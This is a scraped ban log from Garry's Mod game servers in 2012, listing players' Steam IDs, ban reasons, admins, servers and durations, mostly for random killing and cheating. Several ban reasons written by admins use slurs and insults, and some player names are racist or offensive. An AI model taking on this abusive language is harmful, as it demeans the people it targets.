Unknown STEAM_0:1:33337601 - +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +11:51 pm 09-06-12 [N.O.O.B] BANTER WAGON STEAM_0:1:22030017 rdming ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +11:50 pm 09-06-12 USN Petty Officer Jones STEAM_0:1:19357731 mass +rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +11:48 pm 09-06-12 All the black people STEAM_0:1:10646772 rdm also +name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +11:25 pm 09-06-12 [53rd] Sprite STEAM_0:0:47511735 rdming and left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +7:28 pm 09-06-12 $$ 420 BLUNTz $$ STEAM_0:0:16760832 RDMing the +detective and shitty mic +[SP]+ JoE CrAcKeR Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:1:0 Unbanned +8:19 pm 08-06-12 Falling STEAM_0:1:25245774 idiot rdm +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 +Unbanned +8:24 pm 07-06-12 Unknown STEAM_0:0:10030432 RDM + discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:34 pm 07-06-12 MattyDaFatty(Witch Doctor) STEAM_0:1:29431684 rdming +your karma is back down again +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:56 am 07-06-12 Unknown STEAM_0:1:26881255 Base Farming Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +3:55 am 07-06-12 Unknown STEAM_0:0:15892091 Base Farming Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +3:55 am 07-06-12 Unknown STEAM_0:0:26478133 Base Farming Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +9:15 pm 06-06-12 Unknown STEAM_0:1:44706585 Extended again :D +Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:42 pm 06-06-12 Unknown STEAM_0:1:44706585 Extended Norzone +Fretta|Tigergruppe Kommand Deathrun 7:0:0 Unbanned +5:01 pm 06-06-12 Smudgy boii xx STEAM_0:1:44706585 Ban request +Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:50 pm 05-06-12 Unknown STEAM_0:0:26702630 RDM and left Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 Unbanned +9:48 pm 05-06-12 looop0100 STEAM_0:0:47460890 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +9:37 pm 05-06-12 Unknown STEAM_0:1:47248552 karma - got time wrong +: P +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +9:36 pm 05-06-12 jessevanderburgh STEAM_0:1:39504218 karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:35 pm 05-06-12 Dave Grohl STEAM_0:1:47248552 mass rdm given by you +karma gone down that much +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 3:11:20 Unbanned +8:39 pm 05-06-12 Unknown STEAM_0:0:8687166 rdm then left also your +karma is poor +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +5:21 pm 05-06-12 Hapsahaps STEAM_0:0:27517189 RDM Low Karma +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:43 pm 05-06-12 hamadok2002 STEAM_0:1:18780255 RDM +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:27 pm 05-06-12 Bot01 STEAM_0:0:24308736 Propkilling +[SP]+ Marked +One [SK] Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +12:55 pm 05-06-12 You've got AIDS STEAM_0:0:34239589 Alt of banned ID +STEAM_0:0:17651148 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 99:11:1 Banned +12:22 am 05-06-12 ICDZ STEAM_0:1:14486446 mass rdm +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:22 am 05-06-12 Burnin It STEAM_0:0:24755232 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +12:21 am 05-06-12 Reconbomb STEAM_0:0:23107613 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:57 pm 04-06-12 Nobody STEAM_0:0:17651148 Extreme RDM, enjoy 100 +day ban Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +100:0:0 Banned +11:46 pm 04-06-12 Unknown STEAM_0:0:24886796 DDODS this! > : D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:16 pm 04-06-12 mdcool12 STEAM_0:1:51015124 mass rdm karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:19 Unbanned +11:06 pm 04-06-12 [M4H]Fomoly STEAM_0:0:24886796 Random accusations +Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:49 pm 04-06-12 Dribble STEAM_0:1:16289741 Test +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 +Unbanned +9:20 pm 04-06-12 Unknown STEAM_0:0:33410025 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:44 pm 04-06-12 Unknown STEAM_0:1:37920189 get a new name +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 +Unbanned +3:38 am 04-06-12 Unknown STEAM_0:1:12901475 Ban Request Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +9:18 pm 03-06-12 [VECTOR] TEL-OS STEAM_0:1:25823393 Retard +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +1:0:0 Unbanned +8:09 pm 03-06-12 Unknown STEAM_0:1:39204273 Massive RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +5:5:0 Unbanned +8:05 pm 03-06-12 Lord Spidey! STEAM_0:0:14369320 Low Karma +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:22 pm 03-06-12 not Lucas STEAM_0:1:18387965 Low Karma +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:01 pm 03-06-12 EnDansk STEAM_0:1:13318453 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:51 pm 03-06-12 â??â?©â??(â?£_â?¢)â??â?©â?? STEAM_0:0:29941076 +Change your name ( 1min ban ) +[SP]+ Marked One [SK] +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:45 pm 03-06-12 Unknown STEAM_0:1:42618073 Karma, rdming +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:24 pm 03-06-12 Sonny <3 STEAM_0:1:13414517 Low karma +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:21 pm 03-06-12 Unknown STEAM_0:0:31335272 RDM + discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:57 pm 03-06-12 Unknown STEAM_0:0:37677482 RDM + discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +12:24 pm 03-06-12 Unknown STEAM_0:0:34476627 Llixo Official +Zombified World|Lvl Cap +10 Zombified World 3:11:20 Unbanned +12:12 pm 03-06-12 Unknown STEAM_0:0:41953362 rdming + karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:01 am 03-06-12 Snuggi STEAM_0:0:10615041 Alt of banned ID +STEAM_0:1:2300612 (Console) Fretta|Tigergruppe Kommand The Stalker +Permanent Banned +6:03 pm 02-06-12 Smudgy boii xx STEAM_0:1:44706585 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +4:32 pm 02-06-12 speuda STEAM_0:0:25701342 Spamming boxes and thus +lagging the server +[SP]+ Marked One [SK] Official Zombified World|Lvl +Cap +10 Zombified World 0:12:30 Unbanned +10:34 pm 01-06-12 Th3 Smurfinator STEAM_0:1:30710965 rdming all day +shit karma all day and for the last few days too +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +8:15 pm 01-06-12 Ä?õûÅ?ţêÅ?ŦÄ?Å?Å?Ç¿Å?Ä«Å?t STEAM_0:0:38131040 +Change your name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:1 Unbanned +2:09 am 01-06-12 Rambo Jr. STEAM_0:1:46782188 Alt of banned ID +STEAM_0:1:38216645 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +11:13 pm 31-05-12 Unknown STEAM_0:1:17693550 smaping cock, get a real +name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +9:52 pm 31-05-12 jessevanderburgh STEAM_0:1:39504218 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:42 am 31-05-12 {Sk8}Mdkid3me STEAM_0:0:27698987 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:28 pm 30-05-12 Unknown STEAM_0:1:15472796 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +10:27 pm 30-05-12 At God STEAM_0:1:19954780 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:42 pm 30-05-12 A Knight Of Ni STEAM_0:0:25962046 faggot Llixo +Official Zombified World|Lvl Cap +10 Zombified World 0:0:10 Unbanned +9:39 pm 30-05-12 Olo Moss Of Lake-by-sideways STEAM_0:1:46059776 +RDM +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:9:20 Unbanned +6:05 pm 30-05-12 Unknown STEAM_0:1:29531926 Extreme RDM then +leaving Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +10:0:0 Unbanned +5:38 pm 30-05-12 BareL - Underground until 1.6.1 +STEAM_0:0:34124026 RDM Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:0:0 Unbanned +8:34 pm 29-05-12 SauwceBauwss STEAM_0:1:45833705 ghoasting +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:6:0 +Unbanned +8:34 pm 29-05-12 Pork STEAM_0:0:28807380 ghoasting +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:6:0 Unbanned +5:46 pm 29-05-12 lolik !!Nor!! STEAM_0:1:37472478 mass rdm also your +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +3:24 pm 29-05-12 d0k(73r 5kumf!du5 5h!7 (AH) STEAM_0:0:43678625 then +try to unban yourself if you're an admin Azureus Killa's Zombie +Survival Server Zombie Survival 1:1:0 Unbanned +1:46 pm 29-05-12 Unknown STEAM_0:1:41348411 wanted to be banned +Llixo Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 +Unbanned +4:15 am 29-05-12 The Magical Gandhi STEAM_0:0:16672958 Mass RDM ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +4:02 am 29-05-12 ICDZ STEAM_0:1:14486446 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +5:58 pm 28-05-12 Unknown STEAM_0:0:8291384 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:23 pm 28-05-12 Kødtulipan STEAM_0:0:16613813 Alt of banned ID +STEAM_0:1:16585983 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:30 pm 28-05-12 Ã?É«Æ? _*Tic-Tac*_-[F.S]- STEAM_0:0:20384027 RDM +constantly. 800 karma. Holy Dribble Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:0:0 Unbanned +4:20 pm 28-05-12 Usoundjellybro STEAM_0:1:16585983 RDM. Fuck off. +Holy Dribble Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:45 am 28-05-12 Unknown STEAM_0:0:39711441 Being a massive turd +Dave from surrey Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +11:40 pm 27-05-12 Nardr@ X5 STEAM_0:1:26028052 RDMing/Ghosting +Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 +Unbanned +11:21 pm 27-05-12 Raulkill STEAM_0:0:10030432 Mass RDM +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +11:15 pm 27-05-12 Unknown STEAM_0:1:40003695 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +6:11 pm 27-05-12 Unknown STEAM_0:0:13376709 Deleting base Llixo +Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +1:28 am 27-05-12 Unknown STEAM_0:0:23930541 Exploiting turd Llixo +Official Zombified World|Lvl Cap +10 Zombified World 13:21:20 Unbanned +11:35 pm 26-05-12 Unknown STEAM_0:1:30771078 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +10:05 pm 26-05-12 Master Cheif STEAM_0:1:43338699 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:10 pm 26-05-12 Rainbow Dash STEAM_0:1:11691910 rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:15 +Unbanned +7:10 pm 26-05-12 [T.N.A] Nocturnal Corp STEAM_0:0:38097819 rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:15 Unbanned +6:53 pm 26-05-12 texstardme STEAM_0:1:15175141 time wasteing +teamkilling shit head +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 3:11:20 Unbanned +6:50 pm 26-05-12 Unknown STEAM_0:1:37224684 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +5:14 pm 26-05-12 cmoozilla STEAM_0:0:5228221 rdming +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:09 am 26-05-12 Riddick STEAM_0:1:21516868 Basing Offmap +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +5:5:0 Unbanned +9:08 am 26-05-12 Sniper Elite STEAM_0:0:19987433 Basing Offmap ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 5:5:0 Unbanned +10:57 pm 25-05-12 Womboat STEAM_0:1:2300612 bye now +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:39 pm 25-05-12 Harwood97 STEAM_0:0:30236188 rdming t buddy and no +talk? +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +8:32 pm 25-05-12 nik-veresch STEAM_0:1:50256674 Radming +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:20:30 Unbanned +5:21 pm 25-05-12 Unknown STEAM_0:1:34070382 Ban request +[SP]+ +Danzomanzo Official Zombified World|Lvl Cap +10 Zombified World +4:0:0 Unbanned +8:31 pm 23-05-12 IcyBeach (Pidgey) STEAM_0:1:27874525 Low karma RDM ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:30 pm 23-05-12 STEAM_0:0:26025741 CCD Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:1:40 Unbanned +4:56 am 23-05-12 Kamikaze STEAM_0:1:29071053 Heavy Racism +[SP]+ +Kaede Fretta|Tigergruppe Kommand GarryWare 6:22:40 Unbanned +11:38 pm 22-05-12 Singham STEAM_0:1:15472796 RDM, attempted RDM and +690 Karma. Holy Dribble Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:0:0 Unbanned +11:36 pm 22-05-12 Maverik315 STEAM_0:0:31595134 Claimed to be T and +RDM constantly. Holy Dribble Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:0:0 Unbanned +9:47 pm 21-05-12 (MG)Mr.AngryEyes! STEAM_0:1:28267770 RDM Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +9:43 pm 21-05-12 EgN-R|Apple Cider STEAM_0:0:47340849 RDM. Been +warned. Holy Dribble Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:0:0 Unbanned +9:40 pm 21-05-12 (MG) wakka STEAM_0:1:31763589 RDM, 3 times is not +accidental +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:9:20 Unbanned +10:13 pm 20-05-12 Unknown STEAM_0:1:33878748 mass rdm +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:13:20 Unbanned +9:11 pm 20-05-12 [VECTOR] TEL-OS STEAM_0:1:25823393 FAction exploit +Llixo Official Zombified World|Lvl Cap +10 Zombified World 13:21:20 +Unbanned +8:12 pm 20-05-12 Unknown STEAM_0:1:7517466 Deleting base Llixo +Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +4:01 pm 20-05-12 ShmorgsTer STEAM_0:0:48177475 RDM x3 Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 Unbanned +7:42 am 20-05-12 Soap baburu (Music d-.-b) STEAM_0:0:17230886 Alt of +banned ID STEAM_0:0:10089448 (Console) Official Zombified World|Lvl +Cap +10 Zombified World Permanent Banned +9:59 pm 19-05-12 ArcticSh0TH1M578 STEAM_0:0:39711441 Abusing factions +and being a douche Llixo Official Zombified World|Lvl Cap +10 +Zombified World 6:22:40 Unbanned +8:23 pm 18-05-12 Unknown STEAM_0:1:15472796 Rdming and discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:22 pm 18-05-12 Gasithan STEAM_0:1:19954780 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:07 pm 17-05-12 Unknown STEAM_0:1:35888933 RDM is gay +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +10:53 pm 16-05-12 Singham STEAM_0:1:15472796 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:53 pm 16-05-12 Gorilla STEAM_0:1:19954780 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:13 pm 16-05-12 [BSU] Nastynick STEAM_0:0:27366157 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +5:06 pm 16-05-12 R3D | Ping Me Back Homie STEAM_0:0:25440181 rdm +<[FoT]> .ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +4:36 pm 16-05-12 Marius[LTU] STEAM_0:0:19288990 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +2:48 pm 15-05-12 KOMENTAJAKOISTINEN STEAM_0:1:18004550 RDM, ignoring +admin. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +2:18 am 15-05-12 Unknown STEAM_0:1:19064115 Goombastomping Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:08 am 15-05-12 zombie clown STEAM_0:0:41393559 Squeeky voice and +RDM Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +1:09 am 15-05-12 Wolfpac STEAM_0:1:42350795 Revenge RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +12:35 am 15-05-12 -vG- ShardTheOwl STEAM_0:0:45410063 Mic Spamming. +Fuck off! Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 5:0:0 Unbanned +12:30 am 15-05-12 Unknown STEAM_0:1:42339237 Mic Spamming. Fuck +off! Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +6:16 am 14-05-12 outbak STEAM_0:0:26564556 Takeing guns from +unparticipated war +[SP]+ Anime (sadface) Official Zombified World|Lvl +Cap +10 Zombified World 2:2:0 Unbanned +8:19 pm 13-05-12 Unknown STEAM_0:1:26147758 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:14 pm 13-05-12 Unknown STEAM_0:1:46271619 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:17 pm 13-05-12 LoreN STEAM_0:1:10895704 rdming as the D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:52 pm 13-05-12 Unknown STEAM_0:0:28940350 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +34:17:20 Unbanned +11:59 pm 12-05-12 A Knight Of Ni STEAM_0:0:25962046 BIATCH! Llixo +Official Zombified World|Lvl Cap +10 Zombified World 0:0:10 Unbanned +10:55 pm 12-05-12 .:C7:. Stealth The Fox STEAM_0:0:25348351 deleting +base Llixo Official Zombified World|Lvl Cap +10 Zombified World +6:22:40 Unbanned +8:39 pm 12-05-12 Forever Alone STEAM_0:1:41265141 Your karma is like, +500. Fuck off or something Spellknite Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:20:20 Unbanned +10:05 am 12-05-12 [Xite-A] EMPOLEON STEAM_0:1:12495999 Prop pushing +Llixo Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 +Unbanned +7:42 pm 10-05-12 TheCreeper STEAM_0:1:23118418 I told you to shut up, +now you will pay the price Aion Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:27 pm 10-05-12 Ladiux STEAM_0:1:19147578 BTW, Aion ( me ) is an +admin, you are now perma ' d Aion Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +8:54 pm 09-05-12 Unknown STEAM_0:1:7741545 ban should be up now : P ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +8:53 pm 09-05-12 Unknown STEAM_0:1:27031625 got tags but not in SP ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:12 pm 08-05-12 Hell fire unit Pyro STEAM_0:0:34915538 teamkill +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:02 pm 08-05-12 Anajamois STEAM_0:0:24788990 Dickhead Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:33 pm 07-05-12 F1nduz STEAM_0:1:7741545 mass rdm for atleast 2 +rounds +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 34:17:20 Unbanned +7:14 pm 07-05-12 Galactic Space Nazi Super SS Ma STEAM_0:1:30705741 +Perma Aion Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +7:14 pm 07-05-12 Mario STEAM_0:0:35520164 Perma Aion Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +4:03 pm 07-05-12 Unknown STEAM_0:0:42037866 Destroying other peoples +props +[SP]+ Anime (sadface) Official Zombified World|Lvl Cap +10 +Zombified World 1:0:0 Unbanned +3:48 pm 07-05-12 Unknown STEAM_0:1:20684813 Multiple RDMs then +leaving. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +2:49 pm 07-05-12 â?¬loodâ??lot STEAM_0:0:24255629 rdm then left to +avoide karma loss and the mute +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:52 pm 06-05-12 Baxiel [LOOKING FOR ARMA 2:OA] STEAM_0:1:22159441 +faggot : ) Llixo Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +6:48 pm 06-05-12 Unknown STEAM_0:1:36009954 Killing a fellow traitor +then leaving +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +12:14 pm 06-05-12 Donald Duck STEAM_0:0:18835085 For being a retard +Aion Killa's Zombie Survival Server Zombie Survival 1:0:0 Unbanned +12:09 am 06-05-12 Dark STEAM_0:0:24804467 rdming all night +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:05 am 06-05-12 Sir Hank J. Wimbleton STEAM_0:1:36404924 rdming +someone who was helping you and being a cock +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +10:56 pm 05-05-12 Elly.poos STEAM_0:1:47248552 rdming and bing a +cock +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +10:55 pm 05-05-12 Solaire STEAM_0:0:35926631 rdming +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +9:27 pm 05-05-12 -={jghalflife97}=- STEAM_0:0:35704595 +[SP]+ +Mindtwistah Killa's Zombie Survival Server Zombie Survival 1:1:0 +Unbanned +9:06 pm 05-05-12 Unknown STEAM_0:1:19292346 Mic Spamming +Constantly. Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:0:0 Unbanned +3:07 pm 05-05-12 xXxTFR BadjackxXx STEAM_0:1:33091893 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:29 am 05-05-12 Unknown STEAM_0:0:19617520 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:24 am 05-05-12 Unknown STEAM_0:0:19617520 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:24 am 05-05-12 Unknown STEAM_0:0:41307538 Cheat: tame (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:1:11769924 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:0:19338100 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:0:21479539 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:1:29640664 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:1:34174066 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:20 am 05-05-12 Unknown STEAM_0:1:29812493 Cheat: tame (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:19 am 05-05-12 Unknown STEAM_0:0:49791119 Cheat: hh (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:19 am 05-05-12 Unknown STEAM_0:0:26325520 Cheat: hh (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:18 am 05-05-12 Unknown STEAM_0:0:21553359 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:17 am 05-05-12 Unknown STEAM_0:0:40897007 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:15 am 05-05-12 Unknown STEAM_0:0:21760599 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:15 am 05-05-12 Unknown STEAM_0:1:15801351 Cheat: coma (Console) +Fretta|Tigergruppe 